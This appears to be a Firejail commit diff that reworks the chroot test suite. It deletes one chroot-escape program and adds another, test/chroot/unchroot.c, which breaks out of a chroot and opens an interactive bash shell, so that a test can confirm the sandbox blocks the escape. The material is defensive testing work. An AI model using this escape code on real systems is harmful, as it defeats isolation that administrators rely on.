diff options
-rw-r--r-- | Makefile.in | 6 | ||||
-rwxr-xr-x | gcov.sh | 4 | ||||
-rw-r--r-- | src/firejail/fs.c | 3 | ||||
-rwxr-xr-x | src/tools/unchroot | bin | 9720 -> 0 bytes | |||
-rw-r--r-- | src/tools/unchroot.c | 125 | ||||
-rwxr-xr-x | test/chroot/chroot-resolvconf.exp | 14 | ||||
-rwxr-xr-x | test/chroot/chroot.sh | 21 | ||||
-rwxr-xr-x | test/chroot/configure | 46 | ||||
-rwxr-xr-x | test/chroot/fs_chroot.exp | 26 | ||||
-rwxr-xr-x | test/chroot/unchroot-as-root.exp | 27 | ||||
-rw-r--r-- | test/chroot/unchroot.c | 40 |
11 files changed, 152 insertions, 160 deletions
diff --git a/Makefile.in b/Makefile.in index d1f03c788..8251f9882 100644 --- a/Makefile.in +++ b/Makefile.in | |||
@@ -249,6 +249,10 @@ test: test-profiles test-fcopy test-fs test-utils test-environment test-apps te | |||
249 | # with them you will need to restart your computer. | 249 | # with them you will need to restart your computer. |
250 | ########################################## | 250 | ########################################## |
251 | 251 | ||
252 | # requires root access | ||
253 | test-chroot: | ||
254 | cd test/chroot; ./chroot.sh | grep testing | ||
255 | |||
252 | # Huge appimage files, not included in "make dist" archive | 256 | # Huge appimage files, not included in "make dist" archive |
253 | test-appimage: | 257 | test-appimage: |
254 | cd test/appimage; ./appimage.sh | grep TESTING | 258 | cd test/appimage; ./appimage.sh | grep TESTING |
@@ -268,6 +272,6 @@ test-overlay: | |||
268 | 272 | ||
269 | # For testing hidepid system, the command to set it up is "mount -o remount,rw,hidepid=2 /proc" | 273 | # For testing hidepid system, the command to set it up is "mount -o remount,rw,hidepid=2 /proc" |
270 | 274 | ||
271 | test-all: test-root test-network test-appimage test-overlay test-fcopy test | 275 | test-all: test-root test-chroot test-network test-appimage test-overlay |
272 | echo "TEST COMPLETE" | 276 | echo "TEST COMPLETE" |
273 | \ No newline at end of file | 277 | \ No newline at end of file |
@@ -29,6 +29,10 @@ make test-root | |||
29 | generate | 29 | generate |
30 | sleep 2 | 30 | sleep 2 |
31 | 31 | ||
32 | make test-chroot | ||
33 | generate | ||
34 | sleep 2 | ||
35 | |||
32 | make test-network | 36 | make test-network |
33 | generate | 37 | generate |
34 | sleep 2 | 38 | sleep 2 |
diff --git a/src/firejail/fs.c b/src/firejail/fs.c index 5774ebf6a..8c776bad5 100644 --- a/src/firejail/fs.c +++ b/src/firejail/fs.c | |||
@@ -1042,6 +1042,9 @@ void fs_chroot(const char *rootdir) { | |||
1042 | if (chroot(rootdir) < 0) | 1042 | if (chroot(rootdir) < 0) |
1043 | errExit("chroot"); | 1043 | errExit("chroot"); |
1044 | 1044 | ||
1045 | // create all other /run/firejail files and directories | ||
1046 | preproc_build_firejail_dir(); | ||
1047 | |||
1045 | if (checkcfg(CFG_CHROOT_DESKTOP)) { | 1048 | if (checkcfg(CFG_CHROOT_DESKTOP)) { |
1046 | // update /var directory in order to support multiple sandboxes running on the same root directory | 1049 | // update /var directory in order to support multiple sandboxes running on the same root directory |
1047 | // if (!arg_private_dev) | 1050 | // if (!arg_private_dev) |
diff --git a/src/tools/unchroot b/src/tools/unchroot deleted file mode 100755 index d32ce2682..000000000 --- a/src/tools/unchroot +++ /dev/null | |||
Binary files differ | |||
diff --git a/src/tools/unchroot.c b/src/tools/unchroot.c deleted file mode 100644 index 21731296e..000000000 --- a/src/tools/unchroot.c +++ /dev/null | |||
@@ -1,125 +0,0 @@ | |||
1 | #include <stdio.h> | ||
2 | #include <stdlib.h> | ||
3 | #include <errno.h> | ||
4 | #include <fcntl.h> | ||
5 | #include <string.h> | ||
6 | #include <unistd.h> | ||
7 | #include <sys/stat.h> | ||
8 | #include <sys/types.h> | ||
9 | |||
10 | /* | ||
11 | ** You should set NEED_FCHDIR to 1 if the chroot() on your | ||
12 | ** system changes the working directory of the calling | ||
13 | ** process to the same directory as the process was chroot()ed | ||
14 | ** to. | ||
15 | ** | ||
16 | ** It is known that you do not need to set this value if you | ||
17 | ** running on Solaris 2.7 and below. | ||
18 | ** | ||
19 | */ | ||
20 | #define NEED_FCHDIR 0 | ||
21 | |||
22 | #define TEMP_DIR "waterbuffalo" | ||
23 | |||
24 | /* Break out of a chroot() environment in C */ | ||
25 | |||
26 | int main() { | ||
27 | int x; /* Used to move up a directory tree */ | ||
28 | int done=0; /* Are we done yet ? */ | ||
29 | #ifdef NEED_FCHDIR | ||
30 | int dir_fd; /* File descriptor to directory */ | ||
31 | #endif | ||
32 | struct stat sbuf; /* The stat() buffer */ | ||
33 | |||
34 | /* | ||
35 | ** First we create the temporary directory if it doesn't exist | ||
36 | */ | ||
37 | if (stat(TEMP_DIR,&sbuf)<0) { | ||
38 | if (errno==ENOENT) { | ||
39 | if (mkdir(TEMP_DIR,0755)<0) { | ||
40 | fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, | ||
41 | strerror(errno)); | ||
42 | exit(1); | ||
43 | } | ||
44 | } | ||
45 | else { | ||
46 | fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, | ||
47 | strerror(errno)); | ||
48 | exit(1); | ||
49 | } | ||
50 | } | ||
51 | else if (!S_ISDIR(sbuf.st_mode)) { | ||
52 | fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); | ||
53 | exit(1); | ||
54 | } | ||
55 | |||
56 | #ifdef NEED_FCHDIR | ||
57 | /* | ||
58 | ** Now we open the current working directory | ||
59 | ** | ||
60 | ** Note: Only required if chroot() changes the calling program's | ||
61 | ** working directory to the directory given to chroot(). | ||
62 | ** | ||
63 | */ | ||
64 | if ((dir_fd=open(".",O_RDONLY))<0) { | ||
65 | fprintf(stderr,"Failed to open \".\" for reading - %s\n", | ||
66 | strerror(errno)); | ||
67 | exit(1); | ||
68 | } | ||
69 | #endif | ||
70 | |||
71 | /* | ||
72 | ** Next we chroot() to the temporary directory | ||
73 | */ | ||
74 | if (chroot(TEMP_DIR)<0) { | ||
75 | fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, | ||
76 | strerror(errno)); | ||
77 | exit(1); | ||
78 | } | ||
79 | |||
80 | #ifdef NEED_FCHDIR | ||
81 | /* | ||
82 | ** Partially break out of the chroot by doing an fchdir() | ||
83 | ** | ||
84 | ** This only partially breaks out of the chroot() since whilst | ||
85 | ** our current working directory is outside of the chroot() jail, | ||
86 | ** our root directory is still within it. Thus anything which refers | ||
87 | ** to "/" will refer to files under the chroot() point. | ||
88 | ** | ||
89 | ** Note: Only required if chroot() changes the calling program's | ||
90 | ** working directory to the directory given to chroot(). | ||
91 | ** | ||
92 | */ | ||
93 | if (fchdir(dir_fd)<0) { | ||
94 | fprintf(stderr,"Failed to fchdir - %s\n", | ||
95 | strerror(errno)); | ||
96 | exit(1); | ||
97 | } | ||
98 | close(dir_fd); | ||
99 | #endif | ||
100 | |||
101 | /* | ||
102 | ** Completely break out of the chroot by recursing up the directory | ||
103 | ** tree and doing a chroot to the current working directory (which will | ||
104 | ** be the real "/" at that point). We just do a chdir("..") lots of | ||
105 | ** times (1024 times for luck :). If we hit the real root directory before | ||
106 | ** we have finished the loop below it doesn't matter as .. in the root | ||
107 | ** directory is the same as . in the root. | ||
108 | ** | ||
109 | ** We do the final break out by doing a chroot(".") which sets the root | ||
110 | ** directory to the current working directory - at this point the real | ||
111 | ** root directory. | ||
112 | */ | ||
113 | for(x=0;x<1024;x++) { | ||
114 | chdir(".."); | ||
115 | } | ||
116 | chroot("."); | ||
117 | |||
118 | /* | ||
119 | ** We're finally out - so exec a shell in interactive mode | ||
120 | */ | ||
121 | if (execl("/bin/sh","-i",NULL)<0) { | ||
122 | fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); | ||
123 | exit(1); | ||
124 | } | ||
125 | } | ||
diff --git a/test/chroot/chroot-resolvconf.exp b/test/chroot/chroot-resolvconf.exp deleted file mode 100755 index 2d0da2fb0..000000000 --- a/test/chroot/chroot-resolvconf.exp +++ /dev/null | |||
@@ -1,14 +0,0 @@ | |||
1 | #!/usr/bin/expect -f | ||
2 | |||
3 | set timeout 10 | ||
4 | spawn $env(SHELL) | ||
5 | match_max 100000 | ||
6 | |||
7 | send -- "firejail --chroot=/tmp/chroot /bin/bash\r" | ||
8 | expect { | ||
9 | timeout {puts "TESTING ERROR 0\n";exit} | ||
10 | "invalid /tmp/chroot/etc/resolv.conf file" | ||
11 | } | ||
12 | |||
13 | puts "\nall done\n" | ||
14 | |||
diff --git a/test/chroot/chroot.sh b/test/chroot/chroot.sh new file mode 100755 index 000000000..34bff2a67 --- /dev/null +++ b/test/chroot/chroot.sh | |||
@@ -0,0 +1,21 @@ | |||
1 | #!/bin/bash | ||
2 | # This file is part of Firejail project | ||
3 | # Copyright (C) 2014-2016 Firejail Authors | ||
4 | # License GPL v2 | ||
5 | |||
6 | export MALLOC_CHECK_=3 | ||
7 | export MALLOC_PERTURB_=$(($RANDOM % 255 + 1)) | ||
8 | |||
9 | rm -f unchroot | ||
10 | gcc -o unchroot unchroot.c | ||
11 | sudo ./configure | ||
12 | |||
13 | echo "TESTING: chroot (test/chroot/fs_chroot.exp)" | ||
14 | ./fs_chroot.exp | ||
15 | |||
16 | echo "TESTING: unchroot as root (test/chroot/unchroot-as-root.exp)" | ||
17 | sudo ./unchroot-as-root.exp | ||
18 | |||
19 | |||
20 | |||
21 | rm -f unchroot | ||
diff --git a/test/chroot/configure b/test/chroot/configure new file mode 100755 index 000000000..ba8238803 --- /dev/null +++ b/test/chroot/configure | |||
@@ -0,0 +1,46 @@ | |||
1 | #!/bin/bash | ||
2 | |||
3 | # build a very small chroot | ||
4 | ROOTDIR="/tmp/chroot" # default chroot directory | ||
5 | DEFAULT_FILES="/bin/bash /bin/sh " # basic chroot files | ||
6 | DEFAULT_FILES+="/etc/passwd /etc/nsswitch.conf /etc/group " | ||
7 | DEFAULT_FILES+=`find /lib -name libnss*` # files required by glibc | ||
8 | DEFAULT_FILES+=" /bin/cp /bin/ls /bin/cat /bin/ps /bin/netstat /bin/ping /sbin/ifconfig /usr/bin/touch /bin/ip /bin/hostname /bin/grep /usr/bin/dig /usr/bin/openssl /usr/bin/id /usr/bin/getent /usr/bin/whoami /usr/bin/wc /usr/bin/wget /bin/umount" | ||
9 | |||
10 | rm -fr $ROOTDIR | ||
11 | mkdir -p $ROOTDIR/{root,bin,lib,lib64,usr,home,etc,dev/shm,tmp,var/run,var/tmp,var/lock,var/log,proc} | ||
12 | chmod 777 $ROOTDIR/tmp | ||
13 | mkdir -p $ROOTDIR/etc/firejail | ||
14 | mkdir -p $ROOTDIR/home/netblue/.config/firejail | ||
15 | chown netblue:netblue $ROOTDIR/home/netblue | ||
16 | chown netblue:netblue $ROOTDIR/home/netblue/.config | ||
17 | cp /home/netblue/.Xauthority $ROOTDIR/home/netblue/. | ||
18 | cp -a /etc/skel $ROOTDIR/etc/. | ||
19 | mkdir $ROOTDIR/home/someotheruser | ||
20 | mkdir $ROOTDIR/boot | ||
21 | mkdir $ROOTDIR/selinux | ||
22 | cp /etc/passwd $ROOTDIR/etc/. | ||
23 | cp /etc/group $ROOTDIR/etc/. | ||
24 | cp /etc/hosts $ROOTDIR/etc/. | ||
25 | cp /etc/hostname $ROOTDIR/etc/. | ||
26 | mkdir -p $ROOTDIR/usr/lib/x86_64-linux-gnu | ||
27 | cp -a /usr/lib/x86_64-linux-gnu/openssl-1.0.0 $ROOTDIR/usr/lib/x86_64-linux-gnu/. | ||
28 | cp -a /usr/lib/ssl $ROOTDIR/usr/lib/. | ||
29 | touch $ROOTDIR/var/log/syslog | ||
30 | touch $ROOTDIR/var/tmp/somefile | ||
31 | SORTED=`for FILE in $* $DEFAULT_FILES; do echo " $FILE "; ldd $FILE | grep -v dynamic | cut -d " " -f 3; done | sort -u` | ||
32 | for FILE in $SORTED | ||
33 | do | ||
34 | cp --parents $FILE $ROOTDIR | ||
35 | done | ||
36 | cp --parents /lib64/ld-linux-x86-64.so.2 $ROOTDIR | ||
37 | cp --parents /lib/ld-linux.so.2 $ROOTDIR | ||
38 | cp unchroot $ROOTDIR/. | ||
39 | touch $ROOTDIR/this-is-my-chroot | ||
40 | |||
41 | cd $ROOTDIR; find . | ||
42 | mkdir -p usr/lib/firejail/ | ||
43 | cp /usr/lib/firejail/libtrace.so usr/lib/firejail/. | ||
44 | |||
45 | |||
46 | echo "To enter the chroot directory run: firejail --chroot=$ROOTDIR" | ||
diff --git a/test/chroot/fs_chroot.exp b/test/chroot/fs_chroot.exp index aeb5669e1..295ff8ff9 100755 --- a/test/chroot/fs_chroot.exp +++ b/test/chroot/fs_chroot.exp | |||
@@ -20,19 +20,14 @@ expect { | |||
20 | sleep 1 | 20 | sleep 1 |
21 | send -- "bash\r" | 21 | send -- "bash\r" |
22 | sleep 1 | 22 | sleep 1 |
23 | send -- "ls /; pwd\r" | 23 | send -- "ls /\r" |
24 | expect { | 24 | expect { |
25 | timeout {puts "TESTING ERROR 0.2\n";exit} | 25 | timeout {puts "TESTING ERROR 0.2\n";exit} |
26 | "this-is-my-chroot" | 26 | "this-is-my-chroot" |
27 | } | 27 | } |
28 | expect { | 28 | after 100 |
29 | timeout {puts "TESTING ERROR 0.3\n";exit} | ||
30 | "home" | ||
31 | } | ||
32 | |||
33 | 29 | ||
34 | 30 | send -- "ps aux\r" | |
35 | send -- "ps aux; pwd\r" | ||
36 | expect { | 31 | expect { |
37 | timeout {puts "TESTING ERROR 1\n";exit} | 32 | timeout {puts "TESTING ERROR 1\n";exit} |
38 | "/bin/bash" | 33 | "/bin/bash" |
@@ -45,23 +40,14 @@ expect { | |||
45 | timeout {puts "TESTING ERROR 3\n";exit} | 40 | timeout {puts "TESTING ERROR 3\n";exit} |
46 | "ps aux" | 41 | "ps aux" |
47 | } | 42 | } |
48 | expect { | 43 | after 100 |
49 | timeout {puts "TESTING ERROR 4\n";exit} | ||
50 | "home" | ||
51 | } | ||
52 | sleep 1 | ||
53 | 44 | ||
54 | 45 | send -- "ps aux | wc -l; pwd\r" | |
55 | send -- "ps aux |wc -l; pwd\r" | ||
56 | expect { | 46 | expect { |
57 | timeout {puts "TESTING ERROR 5\n";exit} | 47 | timeout {puts "TESTING ERROR 5\n";exit} |
58 | "6" | 48 | "6" |
59 | } | 49 | } |
60 | expect { | 50 | after 100 |
61 | timeout {puts "TESTING ERROR 6\n";exit} | ||
62 | "home" | ||
63 | } | ||
64 | sleep 1 | ||
65 | 51 | ||
66 | 52 | ||
67 | puts "all done\n" | 53 | puts "all done\n" |
diff --git a/test/chroot/unchroot-as-root.exp b/test/chroot/unchroot-as-root.exp new file mode 100755 index 000000000..9f8a1d784 --- /dev/null +++ b/test/chroot/unchroot-as-root.exp | |||
@@ -0,0 +1,27 @@ | |||
1 | #!/usr/bin/expect -f | ||
2 | |||
3 | set timeout 10 | ||
4 | spawn $env(SHELL) | ||
5 | match_max 100000 | ||
6 | |||
7 | send -- "firejail --chroot=/tmp/chroot\r" | ||
8 | expect { | ||
9 | timeout {puts "TESTING ERROR 0\n";exit} | ||
10 | "Error: --chroot option is not available on Grsecurity systems" {puts "\nall done\n"; exit} | ||
11 | "Child process initialized" {puts "chroot available\n"}; | ||
12 | } | ||
13 | sleep 1 | ||
14 | |||
15 | send -- "cd /\r" | ||
16 | after 100 | ||
17 | |||
18 | |||
19 | send -- "./unchroot\r" | ||
20 | expect { | ||
21 | timeout {puts "TESTING ERROR 1\n";exit} | ||
22 | "Bad system call" | ||
23 | } | ||
24 | after 100 | ||
25 | |||
26 | puts "all done\n" | ||
27 | |||
diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c new file mode 100644 index 000000000..1982e07f3 --- /dev/null +++ b/test/chroot/unchroot.c | |||
@@ -0,0 +1,40 @@ | |||
1 | // simple unchroot example from http://linux-vserver.org/Secure_chroot_Barrier | ||
2 | #include <unistd.h> | ||
3 | #include <stdlib.h> | ||
4 | #include <stdio.h> | ||
5 | #include <sys/types.h> | ||
6 | #include <sys/stat.h> | ||
7 | |||
8 | void die(char *msg) { | ||
9 | perror(msg); | ||
10 | exit(1); | ||
11 | } | ||
12 | |||
13 | int main(int argc, char *argv[]) | ||
14 | { | ||
15 | int i; | ||
16 | |||
17 | if (chdir("/") != 0) | ||
18 | die("chdir(/)"); | ||
19 | |||
20 | if (mkdir("baz", 0777) != 0) | ||
21 | ; //die("mkdir(baz)"); | ||
22 | |||
23 | if (chroot("baz") != 0) | ||
24 | die("chroot(baz)"); | ||
25 | |||
26 | for (i=0; i<50; i++) { | ||
27 | if (chdir("..") != 0) | ||
28 | die("chdir(..)"); | ||
29 | } | ||
30 | |||
31 | if (chroot(".") != 0) | ||
32 | die("chroot(.)"); | ||
33 | |||
34 | printf("Exploit seems to work. =)\n"); | ||
35 | |||
36 | execl("/bin/bash", "bash", "-i", (char *)0); | ||
37 | die("exec bash"); | ||
38 | |||
39 | exit(0); | ||
40 | } | ||